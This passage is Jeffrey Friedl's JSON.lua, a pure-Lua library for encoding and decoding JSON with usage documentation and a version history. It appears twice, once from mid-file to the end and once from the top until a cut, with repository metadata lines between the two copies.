* highpart local midpart = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midpart highpart = 0xE0 + highpart midpart = 0x80 + midpart lowpart = 0x80 + lowpart -- -- Check for an invalid character (thanks Andy R. at Adobe). -- See table 3.7, page 93, in http://www.unicode.org/versions/Unicode5.2.0/ch03.pdf#G28070 -- if ( highpart == 0xE0 and midpart < 0xA0 ) or ( highpart == 0xED and midpart > 0x9F ) or ( highpart == 0xF0 and midpart < 0x90 ) or ( highpart == 0xF4 and midpart > 0x8F ) then return "?" else return string.char(highpart, midpart, lowpart) end else -- -- 11110zzz 10zzyyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x40000) local remainder = codepoint - 0x40000 * highpart local midA = math.floor(remainder / 0x1000) remainder = remainder - 0x1000 * midA local midB = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midB return string.char(0xF0 + highpart, 0x80 + midA, 0x80 + midB, 0x80 + lowpart) end end function OBJDEF:onDecodeError(message, text, location, etc) if text then if location then message = string.format("%s at char %d of: %s", message, location, text) else message = string.format("%s: %s", message, text) end end if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end OBJDEF.onDecodeOfNilError = OBJDEF.onDecodeError OBJDEF.onDecodeOfHTMLError = OBJDEF.onDecodeError function OBJDEF:onEncodeError(message, etc) if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end local function grok_number(self, text, start, etc) -- -- Grab the integer part -- local integer_part = text:match('^-?[1-9]%d*', start) or text:match("^-?0", start) if not integer_part then self:onDecodeError("expected number", text, start, etc) end local i = start + integer_part:len() -- -- Grab an optional decimal part -- local decimal_part = text:match('^%.%d+', i) or "" i = i + decimal_part:len() -- -- Grab an optional exponential part -- local exponent_part = text:match('^[eE][-+]?%d+', i) or "" i = i + exponent_part:len() local full_number_text = integer_part .. decimal_part .. exponent_part local as_number = tonumber(full_number_text) if not as_number then self:onDecodeError("bad number", text, start, etc) end return as_number, i end local function grok_string(self, text, start, etc) if text:sub(start,start) ~= '"' then self:onDecodeError("expected string's opening quote", text, start, etc) end local i = start + 1 -- +1 to bypass the initial quote local text_len = text:len() local VALUE = "" while i <= text_len do local c = text:sub(i,i) if c == '"' then return VALUE, i + 1 end if c ~= '\\' then VALUE = VALUE .. c i = i + 1 elseif text:match('^\\b', i) then VALUE = VALUE .. "\b" i = i + 2 elseif text:match('^\\f', i) then VALUE = VALUE .. "\f" i = i + 2 elseif text:match('^\\n', i) then VALUE = VALUE .. "\n" i = i + 2 elseif text:match('^\\r', i) then VALUE = VALUE .. "\r" i = i + 2 elseif text:match('^\\t', i) then VALUE = VALUE .. "\t" i = i + 2 else local hex = text:match('^\\u([0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if hex then i = i + 6 -- bypass what we just read -- We have a Unicode codepoint. It could be standalone, or if in the proper range and -- followed by another in a specific range, it'll be a two-code surrogate pair. local codepoint = tonumber(hex, 16) if codepoint >= 0xD800 and codepoint <= 0xDBFF then -- it's a hi surrogate... see whether we have a following low local lo_surrogate = text:match('^\\u([dD][cdefCDEF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if lo_surrogate then i = i + 6 -- bypass the low surrogate we just read codepoint = 0x2400 + (codepoint - 0xD800) * 0x400 + tonumber(lo_surrogate, 16) else -- not a proper low, so we'll just leave the first codepoint as is and spit it out. end end VALUE = VALUE .. unicode_codepoint_as_utf8(codepoint) else -- just pass through what's escaped VALUE = VALUE .. text:match('^\\(.)', i) i = i + 2 end end end self:onDecodeError("unclosed string", text, start, etc) end local function skip_whitespace(text, start) local _, match_end = text:find("^[ \n\r\t]+", start) -- [http://www.ietf.org/rfc/rfc4627.txt] Section 2 if match_end then return match_end + 1 else return start end end local grok_one -- assigned later local function grok_object(self, text, start, etc) if text:sub(start,start) ~= '{' then self:onDecodeError("expected '{'", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '{' local VALUE = self.strictTypes and self:newObject { } or { } if text:sub(i,i) == '}' then return VALUE, i + 1 end local text_len = text:len() while i <= text_len do local key, new_i = grok_string(self, text, i, etc) i = skip_whitespace(text, new_i) if text:sub(i, i) ~= ':' then self:onDecodeError("expected colon", text, i, etc) end i = skip_whitespace(text, i + 1) local new_val, new_i = grok_one(self, text, i) VALUE[key] = new_val -- -- Expect now either '}' to end things, or a ',' to allow us to continue. -- i = skip_whitespace(text, new_i) local c = text:sub(i,i) if c == '}' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '}'", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '{'", text, start, etc) end local function grok_array(self, text, start, etc) if text:sub(start,start) ~= '[' then self:onDecodeError("expected '['", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '[' local VALUE = self.strictTypes and self:newArray { } or { } if text:sub(i,i) == ']' then return VALUE, i + 1 end local VALUE_INDEX = 1 local text_len = text:len() while i <= text_len do local val, new_i = grok_one(self, text, i) -- can't table.insert(VALUE, val) here because it's a no-op if val is nil VALUE[VALUE_INDEX] = val VALUE_INDEX = VALUE_INDEX + 1 i = skip_whitespace(text, new_i) -- -- Expect now either ']' to end things, or a ',' to allow us to continue. -- local c = text:sub(i,i) if c == ']' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '['", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '['", text, start, etc) end grok_one = function(self, text, start, etc) -- Skip any whitespace start = skip_whitespace(text, start) if start > text:len() then self:onDecodeError("unexpected end of string", text, nil, etc) end if text:find('^"', start) then return grok_string(self, text, start, etc) elseif text:find('^[-0123456789 ]', start) then return grok_number(self, text, start, etc) elseif text:find('^%{', start) then return grok_object(self, text, start, etc) elseif text:find('^%[', start) then return grok_array(self, text, start, etc) elseif text:find('^true', start) then return true, start + 4 elseif text:find('^false', start) then return false, start + 5 elseif text:find('^null', start) then return nil, start + 4 else self:onDecodeError("can't parse JSON", text, start, etc) end end function OBJDEF:decode(text, etc) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onDecodeError("JSON:decode must be called in method format", nil, nil, etc) end if text == nil then self:onDecodeOfNilError(string.format("nil passed to JSON:decode()"), nil, nil, etc) elseif type(text) ~= 'string' then self:onDecodeError(string.format("expected string argument to JSON:decode(), got %s", type(text)), nil, nil, etc) end if text:match('^%s*$') then return nil end if text:match('^%s*<') then -- Can't be JSON... we'll assume it's HTML self:onDecodeOfHTMLError(string.format("html passed to JSON:decode()"), text, nil, etc) end -- -- Ensure that it's not UTF-32 or UTF-16. -- Those are perfectly valid encodings for JSON (as per RFC 4627 section 3), -- but this package can't handle them. -- if text:sub(1,1):byte() == 0 or (text:len() >= 2 and text:sub(2,2):byte() == 0) then self:onDecodeError("JSON package groks only UTF-8, sorry", text, nil, etc) end local success, value = pcall(grok_one, self, text, 1, etc) if success then return value else -- if JSON:onDecodeError() didn't abort out of the pcall, we'll have received the error message here as "value", so pass it along as an assert. if self.assert then self.assert(false, value) else assert(false, value) end -- and if we're still here, return a nil and throw the error message on as a second arg return nil, value end end local function backslash_replacement_function(c) if c == "\n" then return "\\n" elseif c == "\r" then return "\\r" elseif c == "\t" then return "\\t" elseif c == "\b" then return "\\b" elseif c == "\f" then return "\\f" elseif c == '"' then return '\\"' elseif c == '\\' then return '\\\\' else return string.format("\\u%04x", c:byte()) end end local chars_to_be_escaped_in_JSON_string = '[' .. '"' -- class sub-pattern to match a double quote .. '%\\' -- class sub-pattern to match a backslash .. '%z' -- class sub-pattern to match a null .. '\001' .. '-' .. '\031' -- class sub-pattern to match control characters .. ']' local function json_string_literal(value) local newval = value:gsub(chars_to_be_escaped_in_JSON_string, backslash_replacement_function) return '"' .. newval .. '"' end local function object_or_array(self, T, etc) -- -- We need to inspect all the keys... if there are any strings, we'll convert to a JSON -- object. If there are only numbers, it's a JSON array. -- -- If we'll be converting to a JSON object, we'll want to sort the keys so that the -- end result is deterministic. -- local string_keys = { } local number_keys = { } local number_keys_must_be_strings = false local maximum_number_key for key in pairs(T) do if type(key) == 'string' then table.insert(string_keys, key) elseif type(key) == 'number' then table.insert(number_keys, key) if key <= 0 or key >= math.huge then number_keys_must_be_strings = true elseif not maximum_number_key or key > maximum_number_key then maximum_number_key = key end else self:onEncodeError("can't encode table with a key of type " .. type(key), etc) end end if #string_keys == 0 and not number_keys_must_be_strings then -- -- An empty table, or a numeric-only array -- if #number_keys > 0 then return nil, maximum_number_key -- an array elseif tostring(T) == "JSON array" then return nil elseif tostring(T) == "JSON object" then return { } else -- have to guess, so we'll pick array, since empty arrays are likely more common than empty objects return nil end end table.sort(string_keys) local map if #number_keys > 0 then -- -- If we're here then we have either mixed string/number keys, or numbers inappropriate for a JSON array -- It's not ideal, but we'll turn the numbers into strings so that we can at least create a JSON object. -- if self.noKeyConversion then self:onEncodeError("a table with both numeric and string keys could be an object or array; aborting", etc) end -- -- Have to make a shallow copy of the source table so we can remap the numeric keys to be strings -- map = { } for key, val in pairs(T) do map[key] = val end table.sort(number_keys) -- -- Throw numeric keys in there as strings -- for _, number_key in ipairs(number_keys) do local string_key = tostring(number_key) if map[string_key] == nil then table.insert(string_keys , string_key) map[string_key] = T[number_key] else self:onEncodeError("conflict converting table with mixed-type keys into a JSON object: key " .. number_key .. " exists both as a string and a number.", etc) end end end return string_keys, nil, map end -- -- Encode -- -- 'options' is nil, or a table with possible keys: -- pretty -- if true, return a pretty-printed version -- indent -- a string (usually of spaces) used to indent each nested level -- align_keys -- if true, align all the keys when formatting a table -- local encode_value -- must predeclare because it calls itself function encode_value(self, value, parents, etc, options, indent) if value == nil then return 'null' elseif type(value) == 'string' then return json_string_literal(value) elseif type(value) == 'number' then if value ~= value then -- -- NaN (Not a Number). -- JSON has no NaN, so we have to fudge the best we can. This should really be a package option. -- return "null" elseif value >= math.huge then -- -- Positive infinity. JSON has no INF, so we have to fudge the best we can. This should -- really be a package option. Note: at least with some implementations, positive infinity -- is both ">= math.huge" and "<= -math.huge", which makes no sense but that's how it is. -- Negative infinity is properly "<= -math.huge". So, we must be sure to check the ">=" -- case first. -- return "1e+9999" elseif value <= -math.huge then -- -- Negative infinity. -- JSON has no INF, so we have to fudge the best we can. This should really be a package option. -- return "-1e+9999" else return tostring(value) end elseif type(value) == 'boolean' then return tostring(value) elseif type(value) ~= 'table' then self:onEncodeError("can't convert " .. type(value) .. " to JSON", etc) else -- -- A table to be converted to either a JSON object or array. -- local T = value if type(options) ~= 'table' then options = {} end if type(indent) ~= 'string' then indent = "" end if parents[T] then self:onEncodeError("table " .. tostring(T) .. " is a child of itself", etc) else parents[T] = true end local result_value local object_keys, maximum_number_key, map = object_or_array(self, T, etc) if maximum_number_key then -- -- An array... -- local ITEMS = { } for i = 1, maximum_number_key do table.insert(ITEMS, encode_value(self, T[i], parents, etc, options, indent)) end if options.pretty then result_value = "[ " .. table.concat(ITEMS, ", ") .. " ]" else result_value = "[" .. table.concat(ITEMS, ",") .. "]" end elseif object_keys then -- -- An object -- local TT = map or T if options.pretty then local KEYS = { } local max_key_length = 0 for _, key in ipairs(object_keys) do local encoded = encode_value(self, tostring(key), parents, etc, options, indent) if options.align_keys then max_key_length = math.max(max_key_length, #encoded) end table.insert(KEYS, encoded) end local key_indent = indent .. tostring(options.indent or "") local subtable_indent = key_indent .. string.rep(" ", max_key_length) .. (options.align_keys and " " or "") local FORMAT = "%s%" .. string.format("%d", max_key_length) .. "s: %s" local COMBINED_PARTS = { } for i, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, subtable_indent) table.insert(COMBINED_PARTS, string.format(FORMAT, key_indent, KEYS[i], encoded_val)) end result_value = "{\n" .. table.concat(COMBINED_PARTS, ",\n") .. "\n" .. indent .. "}" else local PARTS = { } for _, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, indent) local encoded_key = encode_value(self, tostring(key), parents, etc, options, indent) table.insert(PARTS, string.format("%s:%s", encoded_key, encoded_val)) end result_value = "{" .. table.concat(PARTS, ",") .. "}" end else -- -- An empty array/object... we'll treat it as an array, though it should really be an option -- result_value = "[]" end parents[T] = false return result_value end end function OBJDEF:encode(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode must be called in method format", etc) end return encode_value(self, value, {}, etc, options or nil) end function OBJDEF:encode_pretty(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode_pretty must be called in method format", etc) end return encode_value(self, value, {}, etc, options or default_pretty_options) end function OBJDEF.__tostring() return "JSON encode/decode package" end OBJDEF.__index = OBJDEF function OBJDEF:new(args) local new = { } if args then for key, val in pairs(args) do new[key] = val end end return setmetatable(new, OBJDEF) end return OBJDEF:new() -- -- Version history: -- -- 20141223.14 The encode_pretty() routine produced fine results for small datasets, but isn't really -- appropriate for anything large, so with help from Alex Aulbach I've made the encode routines -- more flexible, and changed the default encode_pretty() to be more generally useful. -- -- Added a third 'options' argument to the encode() and encode_pretty() routines, to control -- how the encoding takes place. -- -- Updated docs to add assert() call to the loadfile() line, just as good practice so that -- if there is a problem loading JSON.lua, the appropriate error message will percolate up. -- -- 20140920.13 Put back (in a way that doesn't cause warnings about unused variables) the author string, -- so that the source of the package, and its version number, are visible in compiled copies. -- -- 20140911.12 Minor lua cleanup. -- Fixed internal reference to 'JSON.noKeyConversion' to reference 'self' instead of 'JSON'. -- (Thanks to SmugMug's David Parry for these.) -- -- 20140418.11 JSON nulls embedded within an array were being ignored, such that -- ["1",null,null,null,null,null,"seven"], -- would return -- {1,"seven"} -- It's now fixed to properly return -- {1, nil, nil, nil, nil, nil, "seven"} -- Thanks to "haddock" for catching the error. -- -- 20140116.10 The user's JSON.assert() wasn't always being used. Thanks to "blue" for the heads up. -- -- 20131118.9 Update for Lua 5.3... it seems that tostring(2/1) produces "2.0" instead of "2", -- and this caused some problems. -- -- 20131031.8 Unified the code for encode() and encode_pretty(); they had been stupidly separate, -- and had of course diverged (encode_pretty didn't get the fixes that encode got, so -- sometimes produced incorrect results; thanks to Mattie for the heads up). -- -- Handle encoding tables with non-positive numeric keys (unlikely, but possible). -- -- If a table has both numeric and string keys, or its numeric keys are inappropriate -- (such as being non-positive or infinite), the numeric keys are turned into -- string keys appropriate for a JSON object. So, as before, -- JSON:encode({ "one", "two", "three" }) -- produces the array -- ["one","two","three"] -- but now something with mixed key types like -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- instead of throwing an error produces an object: -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To maintain the prior throw-an-error semantics, set -- JSON.noKeyConversion = true -- -- 20131004.7 Release under a Creative Commons CC-BY license, which I should have done from day one, sorry. -- -- 20130120.6 Comment update: added a link to the specific page on my blog where this code can -- be found, so that folks who come across the code outside of my blog can find updates -- more easily. -- -- 20111207.5 Added support for the 'etc' arguments, for better error reporting. -- -- 20110731.4 More feedback from David Kolf on how to make the tests for Nan/Infinity system independent. -- -- 20110730.3 Incorporated feedback from David Kolf at http://lua-users.org/wiki/JsonModules: -- -- * When encoding lua for JSON, Sparse numeric arrays are now handled by -- spitting out full arrays, such that -- JSON:encode({"one", "two", [10] = "ten"}) -- returns -- ["one","two",null,null,null,null,null,null,null,"ten"] -- -- In 20100810.2 and earlier, only up to the first non-null value would have been retained. -- -- * When encoding lua for JSON, numeric value NaN gets spit out as null, and infinity as "1+e9999". -- Version 20100810.2 and earlier created invalid JSON in both cases. -- -- * Unicode surrogate pairs are now detected when decoding JSON. -- -- 20100810.2 added some checking to ensure that an invalid Unicode character couldn't leak in to the UTF-8 encoding -- -- 20100731.1 initial public release --
gpl-2.0
SirSepehr/Sepehr
libs/JSON.lua
3765
34843
-- -*- coding: utf-8 -*- -- -- Simple JSON encoding and decoding in pure Lua. -- -- Copyright 2010-2014 Jeffrey Friedl -- http://regex.info/blog/ -- -- Latest version: http://regex.info/blog/lua/json -- -- This code is released under a Creative Commons CC-BY "Attribution" License: -- http://creativecommons.org/licenses/by/3.0/deed.en_US -- -- It can be used for any purpose so long as the copyright notice above, -- the web-page links above, and the 'AUTHOR_NOTE' string below are -- maintained. Enjoy. -- local VERSION = 20141223.14 -- version history at end of file local AUTHOR_NOTE = "-[ JSON.lua package by Jeffrey Friedl (http://regex.info/blog/lua/json) version 20141223.14 ]-" -- -- The 'AUTHOR_NOTE' variable exists so that information about the source -- of the package is maintained even in compiled versions. It's also -- included in OBJDEF below mostly to quiet warnings about unused variables. -- local OBJDEF = { VERSION = VERSION, AUTHOR_NOTE = AUTHOR_NOTE, } -- -- Simple JSON encoding and decoding in pure Lua. -- http://www.json.org/ -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- -- -- -- DECODING (from a JSON string to a Lua table) -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- If the JSON text is for an object or an array, e.g. -- { "what": "books", "count": 3 } -- or -- [ "Larry", "Curly", "Moe" ] -- -- the result is a Lua table, e.g. -- { what = "books", count = 3 } -- or -- { "Larry", "Curly", "Moe" } -- -- -- The encode and decode routines accept an optional second argument, -- "etc", which is not used during encoding or decoding, but upon error -- is passed along to error handlers. It can be of any type (including nil). -- -- -- -- ERROR HANDLING -- -- With most errors during decoding, this code calls -- -- JSON:onDecodeError(message, text, location, etc) -- -- with a message about the error, and if known, the JSON text being -- parsed and the byte count where the problem was discovered. You can -- replace the default JSON:onDecodeError() with your own function. -- -- The default onDecodeError() merely augments the message with data -- about the text and the location if known (and if a second 'etc' -- argument had been provided to decode(), its value is tacked onto the -- message as well), and then calls JSON.assert(), which itself defaults -- to Lua's built-in assert(), and can also be overridden. -- -- For example, in an Adobe Lightroom plugin, you might use something like -- -- function JSON:onDecodeError(message, text, location, etc) -- LrErrors.throwUserError("Internal Error: invalid JSON data") -- end -- -- or even just -- -- function JSON.assert(message) -- LrErrors.throwUserError("Internal Error: " .. message) -- end -- -- If JSON:decode() is passed a nil, this is called instead: -- -- JSON:onDecodeOfNilError(message, nil, nil, etc) -- -- and if JSON:decode() is passed HTML instead of JSON, this is called: -- -- JSON:onDecodeOfHTMLError(message, text, nil, etc) -- -- The use of the fourth 'etc' argument allows stronger coordination -- between decoding and error reporting, especially when you provide your -- own error-handling routines. Continuing with the the Adobe Lightroom -- plugin example: -- -- function JSON:onDecodeError(message, text, location, etc) -- local note = "Internal Error: invalid JSON data" -- if type(etc) = 'table' and etc.photo then -- note = note .. " while processing for " .. etc.photo:getFormattedMetadata('fileName') -- end -- LrErrors.throwUserError(note) -- end -- -- : -- : -- -- for i, photo in ipairs(photosToProcess) do -- : -- : -- local data = JSON:decode(someJsonText, { photo = photo }) -- : -- : -- end -- -- -- -- -- -- DECODING AND STRICT TYPES -- -- Because both JSON objects and JSON arrays are converted to Lua tables, -- it's not normally possible to tell which original JSON type a -- particular Lua table was derived from, or guarantee decode-encode -- round-trip equivalency. -- -- However, if you enable strictTypes, e.g. -- -- JSON = assert(loadfile "JSON.lua")() --load the routines -- JSON.strictTypes = true -- -- then the Lua table resulting from the decoding of a JSON object or -- JSON array is marked via Lua metatable, so that when re-encoded with -- JSON:encode() it ends up as the appropriate JSON type. -- -- (This is not the default because other routines may not work well with -- tables that have a metatable set, for example, Lightroom API calls.) -- -- -- ENCODING (from a lua table to a JSON string) -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- local custom_pretty = JSON:encode(lua_table_or_value, etc, { pretty = true, indent = "| ", align_keys = false }) -- -- On error during encoding, this code calls: -- -- JSON:onEncodeError(message, etc) -- -- which you can override in your local JSON object. -- -- The 'etc' in the error call is the second argument to encode() -- and encode_pretty(), or nil if it wasn't provided. -- -- -- PRETTY-PRINTING -- -- An optional third argument, a table of options, allows a bit of -- configuration about how the encoding takes place: -- -- pretty = JSON:encode(val, etc, { -- pretty = true, -- if false, no other options matter -- indent = " ", -- this provides for a three-space indent per nesting level -- align_keys = false, -- see below -- }) -- -- encode() and encode_pretty() are identical except that encode_pretty() -- provides a default options table if none given in the call: -- -- { pretty = true, align_keys = false, indent = " " } -- -- For example, if -- -- JSON:encode(data) -- -- produces: -- -- {"city":"Kyoto","climate":{"avg_temp":16,"humidity":"high","snowfall":"minimal"},"country":"Japan","wards":11} -- -- then -- -- JSON:encode_pretty(data) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- The following three lines return identical results: -- JSON:encode_pretty(data) -- JSON:encode_pretty(data, nil, { pretty = true, align_keys = false, indent = " " }) -- JSON:encode (data, nil, { pretty = true, align_keys = false, indent = " " }) -- -- An example of setting your own indent string: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = "| " }) -- -- produces: -- -- { -- | "city": "Kyoto", -- | "climate": { -- | | "avg_temp": 16, -- | | "humidity": "high", -- | | "snowfall": "minimal" -- | }, -- | "country": "Japan", -- | "wards": 11 -- } -- -- An example of setting align_keys to true: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = " ", align_keys = true }) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- which I must admit is kinda ugly, sorry. This was the default for -- encode_pretty() prior to version 20141223.14. -- -- -- AMBIGUOUS SITUATIONS DURING THE ENCODING -- -- During the encode, if a Lua table being encoded contains both string -- and numeric keys, it fits neither JSON's idea of an object, nor its -- idea of an array. To get around this, when any string key exists (or -- when non-positive numeric keys exist), numeric keys are converted to -- strings. -- -- For example, -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- produces the JSON object -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To prohibit this conversion and instead make it an error condition, set -- JSON.noKeyConversion = true -- -- -- SUMMARY OF METHODS YOU CAN OVERRIDE IN YOUR LOCAL LUA JSON OBJECT -- -- assert -- onDecodeError -- onDecodeOfNilError -- onDecodeOfHTMLError -- onEncodeError -- -- If you want to create a separate Lua JSON object with its own error handlers, -- you can reload JSON.lua or use the :new() method. -- --------------------------------------------------------------------------- local default_pretty_indent = " " local default_pretty_options = { pretty = true, align_keys = false, indent = default_pretty_indent } local isArray = { __tostring = function() return "JSON array" end } isArray.__index = isArray local isObject = { __tostring = function() return "JSON object" end } isObject.__index = isObject function OBJDEF:newArray(tbl) return setmetatable(tbl or {}, isArray) end function OBJDEF:newObject(tbl) return setmetatable(tbl or {}, isObject) end local function unicode_codepoint_as_utf8(codepoint) -- -- codepoint is a number -- if codepoint <= 127 then return string.char(codepoint) elseif codepoint <= 2047 then -- -- 110yyyxx 10xxxxxx <-- useful notation from http://en.wikipedia.org/wiki/Utf8 -- local highpart = math.floor(codepoint / 0x40) local lowpart = codepoint - (0x40 * highpart) return string.char(0xC0 + highpart, 0x80 + lowpart) elseif codepoint <= 65535 then -- -- 1110yyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x1000) local remainder = codepoint - 0x1000 * highpart local midpart = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midpart highpart = 0xE0 + highpart midpart = 0x80 + midpart lowpart = 0x80 + lowpart -- -- Check for an invalid character (thanks Andy R. at Adobe). -- See table 3.7, page 93, in http://www.unicode.org/versions/Unicode5.2.0/ch03.pdf#G28070 -- if ( highpart == 0xE0 and midpart < 0xA0 ) or ( highpart == 0xED and midpart > 0x9F ) or ( highpart == 0xF0 and midpart < 0x90 ) or ( highpart == 0xF4 and midpart > 0x8F ) then return "?" else return string.char(highpart, midpart, lowpart) end else -- -- 11110zzz 10zzyyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x40000) local remainder = codepoint - 0x40000 * highpart local midA = math.floor(remainder / 0x1000) remainder = remainder - 0x1000 * midA local midB = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midB return string.char(0xF0 + highpart, 0x80 + midA, 0x80 + midB, 0x80 + lowpart) end end function OBJDEF:onDecodeError(message, text, location, etc) if text then if location then message = string.format("%s at char %d of: %s", message, location, text) else message = string.format("%s: %s", message, text) end end if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end OBJDEF.onDecodeOfNilError = OBJDEF.onDecodeError OBJDEF.onDecodeOfHTMLError = OBJDEF.onDecodeError function OBJDEF:onEncodeError(message, etc) if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end local function grok_number(self, text, start, etc) -- -- Grab the integer part -- local integer_part = text:match('^-?[1-9]%d*', start) or text:match("^-?0", start) if not integer_part then self:onDecodeError("expected number", text, start, etc) end local i = start + integer_part:len() -- -- Grab an optional decimal part -- local decimal_part = text:match('^%.%d+', i) or "" i = i + decimal_part:len() -- -- Grab an optional exponential part -- local exponent_part = text:match('^[eE][-+]?%d+', i) or "" i = i + exponent_part:len() local full_number_text = integer_part .. decimal_part .. exponent_part local as_number = tonumber(full_number_text) if not as_number then self:onDecodeError("bad number", text, start, etc) end return as_number, i end local function grok_string(self, text, start, etc) if text:sub(start,start) ~= '"' then self:onDecodeError("expected string's opening quote", text, start, etc) end local i = start + 1 -- +1 to bypass the initial quote local text_len = text:len() local VALUE = "" while i <= text_len do local c = text:sub(i,i) if c == '"' then return VALUE, i + 1 end if c ~= '\\' then VALUE = VALUE .. c i = i + 1 elseif text:match('^\\b', i) then VALUE = VALUE .. "\b" i = i + 2 elseif text:match('^\\f', i) then VALUE = VALUE .. "\f" i = i + 2 elseif text:match('^\\n', i) then VALUE = VALUE .. "\n" i = i + 2 elseif text:match('^\\r', i) then VALUE = VALUE .. "\r" i = i + 2 elseif text:match('^\\t', i) then VALUE = VALUE .. "\t" i = i + 2 else local hex = text:match('^\\u([0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if hex then i = i + 6 -- bypass what we just read -- We have a Unicode codepoint. It could be standalone, or if in the proper range and -- followed by another in a specific range, it'll be a two-code surrogate pair. local codepoint = tonumber(hex, 16) if codepoint >= 0xD800 and codepoint <= 0xDBFF then -- it's a hi surrogate... see whether we have a following low local lo_surrogate = text:match('^\\u([dD][cdefCDEF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if lo_surrogate then i = i + 6 -- bypass the low surrogate we just read codepoint = 0x2400 + (codepoint - 0xD800) * 0x400 + tonumber(lo_surrogate, 16) else -- not a proper low, so we'll just leave the first codepoint as is and spit it out. end end VALUE = VALUE .. unicode_codepoint_as_utf8(codepoint) else -- just pass through what's escaped VALUE = VALUE .. text:match('^\\(.)', i) i = i + 2 end end end self:onDecodeError("unclosed string", text, start, etc) end local function skip_whitespace(text, start) local _, match_end = text:find("^[ \n\r\t]+", start) -- [http://www.ietf.org/rfc/rfc4627.txt] Section 2 if match_end then return match_end + 1 else return start end end local grok_one -- assigned later local function grok_object(self, text, start, etc) if text:sub(start,start) ~= '{' then self:onDecodeError("expected '{'", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '{' local VALUE = self.strictTypes and self:newObject { } or { } if text:sub(i,i) == '}' then return VALUE, i + 1 end local text_len = text:len() while i <= text_len do local key, new_i = grok_string(self, text, i, etc) i = skip_whitespace(text, new_i) if text:sub(i, i) ~= ':' then self:onDecodeError("expected colon", text, i, etc) end i = skip_whitespace(text, i + 1) local new_val, new_i = grok_one(self, text, i) VALUE[key] = new_val -- -- Expect now either '}' to end things, or a ',' to allow us to continue. -- i = skip_whitespace(text, new_i) local c = text:sub(i,i) if c == '}' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '}'", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '{'", text, start, etc) end local function grok_array(self, text, start, etc) if text:sub(start,start) ~= '[' then self:onDecodeError("expected '['", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '[' local VALUE = self.strictTypes and self:newArray { } or { } if text:sub(i,i) == ']' then return VALUE, i + 1 end local VALUE_INDEX = 1 local text_len = text:len() while i <= text_len do local val, new_i = grok_one(self, text, i) -- can't table.insert(VALUE, val) here because it's a no-op if val is nil VALUE[VALUE_INDEX] = val VALUE_INDEX = VALUE_INDEX + 1 i = skip_whitespace(text, new_i) -- -- Expect now either ']' to end things, or a ',' to allow us to continue. -- local c = text:sub(i,i) if c == ']' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '['", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '['", text, start, etc) end grok_one = function(self, text, start, etc) -- Skip any whitespace start = skip_whitespace(text, start) if start > text:len() then self:onDecodeError("unexpected end of string", text, nil, etc) end if text:find('^"', start) then return grok_string(self, text, start, etc) elseif text:find('^[-0123456789 ]', start) then return grok_number(self, text, start, etc) elseif text:find('^%{', 